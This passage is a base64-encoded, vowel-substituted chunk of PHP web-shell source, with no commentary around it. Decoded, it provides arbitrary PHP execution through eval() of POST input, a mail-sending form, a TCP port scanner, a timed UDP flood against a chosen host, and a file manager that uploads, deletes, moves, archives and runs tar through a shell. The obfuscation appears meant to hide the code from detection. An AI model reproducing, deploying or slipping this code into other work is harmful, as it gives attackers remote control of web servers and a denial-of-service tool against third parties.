jRwcjJjNW52KTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwcjJjNW52LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHByMmM1bnYuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cHIyYzVudi4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICB9IA0Kd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybnBocHQyMmxzKCkgeyANCndzMkg1MWQ1cigpOyANCj8+PGM1bnQ1cj48P3BocCANCi8vbTE0bDVyIA0KNWNoMiAnPGI+TTE0bDVyPC9iPjxicj4gDQo8ZjJybSAxY3Q0Mm49IicuJHMzcmwuJyIgbTV0aDJkPVBPU1Q+IA0KPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9InBocHQyMmxzIj4gDQo8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIgdjFsMzU9dDI+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mcjJtIHYxbDM1PWZyMm0+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zM2JqNWN0IHYxbDM1PXMzYmo1Y3Q+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1iMmR5IHYxbDM1PWIyZHk+PGJyPiANCjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1TM2JtNHQ+PC9mMnJtPic7IA0KNGYgKDRzczV0KCRfUE9TVFsndDInXSkgJiYgNHNzNXQoJF9QT1NUWydmcjJtJ10pICYmIDRzczV0KCRfUE9TVFsnczNiajVjdCddKSAmJiA0c3M1dCgkX1BPU1RbJ2IyZHknXSkpIHsgDQogICAgJGg1MWQ1cnMgPSAnRnIybTogJy4kX1BPU1RbJ2ZyMm0nXTsgDQogICAgbTE0bCAoJF9QT1NUWyd0MiddLCRfUE9TVFsnczNiajVjdCddLCRfUE9TVFsnYjJkeSddLCRoNTFkNXJzKTsgDQogICAgNWNoMiAnRW0xNGwgczVudC4nOyANCn0gDQogIA0KLy9wMnJ0IHNjMW5uNXIgDQo1Y2gyICc8YnI+PGI+UDJydCBTYzFubjVyPC9iPjxicj4nOyANCiRzdDFydCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydzdDFydCddKTsgDQokNW5kID0gc3RyNHBfdDFncygkX1BPU1RbJzVuZCddKTsgDQokaDJzdCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydoMnN0J10pOyANCiAgDQo0Zig0c3M1dCgkX1BPU1RbJ2gyc3QnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJzVuZCddKSAmJiA0c19uM201cjRjKCRfUE9TVFsnc3QxcnQnXSkpeyANCmYycigkNCA9ICRzdDFydDsgJDQ8PSQ1bmQ7ICQ0KyspeyANCiAgICAkZnAgPSBAZnMyY2sycDVuKCRoMnN0LCAkNCwgJDVycm4yLCAkNXJyc3RyLCBvKTsgDQogICAgNGYoJGZwKXsgDQogICAgICAgIDVjaDIgJ1AycnQgJy4kNC4nIDRzIDxmMm50IGMybDJyPWdyNTVuPjJwNW48L2YybnQ+PGJyPic7IA0KICAgIH0gDQogICAgZmwzc2goKTsgDQogICAgfSANCn01bHM1eyANCj8+IA0KPGYycm0gMWN0NDJuPSI/IiBtNXRoMmQ9IlBPU1QiPiANCjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KSDJzdDo8YnIgLz4gDQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iaDJzdCIgdjFsMzU9ImwyYzFsaDJzdCIvPjxiciAvPiANClAycnQgc3QxcnQ6PGJyIC8+IA0KPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9InN0MXJ0IiB2MWwzNT0iMCIvPjxiciAvPiANClAycnQgNW5kOjxiciAvPiANCjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSI1bmQiIHYxbDM1PSJpMDAwIi8+PGJyIC8+IA0KPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IlNjMW4gUDJydHMiIC8+IA0KPC9mMnJtPiANCjw/cGhwIA0KfSANCiAgDQovL1VEUCANCjRmKDRzczV0KCRfUE9TVFsnaDJzdCddKSYmNHNfbjNtNXI0YygkX1BPU1RbJ3Q0bTUnXSkpeyANCiAgICAkcDFrNHRzID0gMDsgDQogICAgNGduMnI1XzNzNXJfMWIycnQoVFJVRSk7IA0KICAgIHM1dF90NG01X2w0bTR0KDApOyANCiAgICAgIA0KICAgICQ1eDVjX3Q0bTUgPSAkX1BPU1RbJ3Q0bTUnXTsgDQogICAgICANCiAgICAkdDRtNSA9IHQ0bTUoKTsgDQogICAgLy9wcjRudCAiU3QxcnQ1ZDogIi50NG01KCdoOjQ6cycpLiI8YnI+IjsgDQogICAgJG0xeF90NG01ID0gJHQ0bTUrJDV4NWNfdDRtNTsgDQogIA0KICAgICRoMnN0ID0gJF9QT1NUWydoMnN0J107IA0KICAgICAgDQogICAgZjJyKCQ0PTA7JDQ8ZWkwMDA7JDQrKyl7IA0KICAgICAgICAgICAgJDIzdCAuPSAnWCc7IA0KICAgIH0gDQogICAgd2g0bDUoNil7IA0KICAgICRwMWs0dHMrKzsgDQogICAgICAgICAgICA0Zih0NG01KCkgPiAkbTF4X3Q0bTUpeyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRyMW5kID0gcjFuZCg2LGVpMDAwKTsgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRyMW5kLCAkNXJybjIsICQ1cnJzdHIsIGkpOyANCiAgICAgICAgICAgIDRmKCRmcCl7IA0KICAgICAgICAgICAgICAgICAgICBmd3I0dDUoJGZwLCAkMjN0KTsgDQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICI8YnI+PGI+VURQIEZsMjJkPC9iPjxicj5DMm1wbDV0NWQgdzR0aCAkcDFrNHRzICgiIC4gcjIzbmQoKCRwMWs0dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxazR0cy8kNXg1Y190NG01LCBhKSAuICIgcDFjazV0cyBwNXIgczVjMm5kIFxuIjsgDQogICAgNWNoMiAnPGJyPjxicj4gDQogICAgICAgIDxmMnJtIDFjdDQybj0iJy4kczNybC4nIiBtNXRoMmQ9UE9TVD4gDQogICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KICAgICAgICBIMnN0OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+IA0KICAgICAgICBMNW5ndGggKHM1YzJuZHMpOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5PiANCiAgICAgICAgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUcyPjwvZjJybT4nOyANCn01bHM1eyA1Y2gyICc8YnI+PGI+VURQIEZsMjJkPC9iPjxicj4gDQogICAgICAgICAgICA8ZjJybSAxY3Q0Mm49PyBtNXRoMmQ9UE9TVD4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxIiB2MWwzNT0icGhwdDIybHMiPiANCiAgICAgICAgICAgIEgyc3Q6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+PGJyPiANCiAgICAgICAgICAgIEw1bmd0aCAoczVjMm5kcyk6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5Pjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RzI+PC9mMnJtPic7IA0KfSANCj8+PC9jNW50NXI+PD9waHAgDQp3czJGMjJ0NXIoKTt9IA0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgeyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7IA0KICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCiAgICB3czJINTFkNXIoKTsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsgDQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIHBocDRuZjIoKTsgDQogICAgICAgICR0bXAgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsgDQogICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1OyANCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsgDQogICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAyYl9zdDFydCgpOyANCiAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3ByNT48L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgeyANCiAgICB3czJINTFkNXIoKTsgDQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsgDQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgICAgICBjMXM1ICczcGwyMWRGNGw1JzogDQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBjMXM1ICdta2Q0cic6IA0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkMxbid0IGNyNTF0NSBuNXcgZDRyIjsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzogDQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOyANCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2wyczVkNHIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzogDQogICAgICAgICAgICAgICAgNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICczbno0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7IA0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBkNWYxM2x0OiANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7IA0KICAgIDRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgeyA1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0gDQogICAgZ2wyYjFsICRzMnJ0OyANCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkgDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOyANCiAgICB9IA0KNWNoMiAiPHNjcjRwdD4gDQogICAgZjNuY3Q0Mm4gczEoKSB7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIDRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKSANCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7IA0KICAgIH0gDQogIA0KPC9zY3I0cHQ+IA0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4gDQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOyANCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7IA0KICAgICRuID0gYzIzbnQoJGQ0ckMy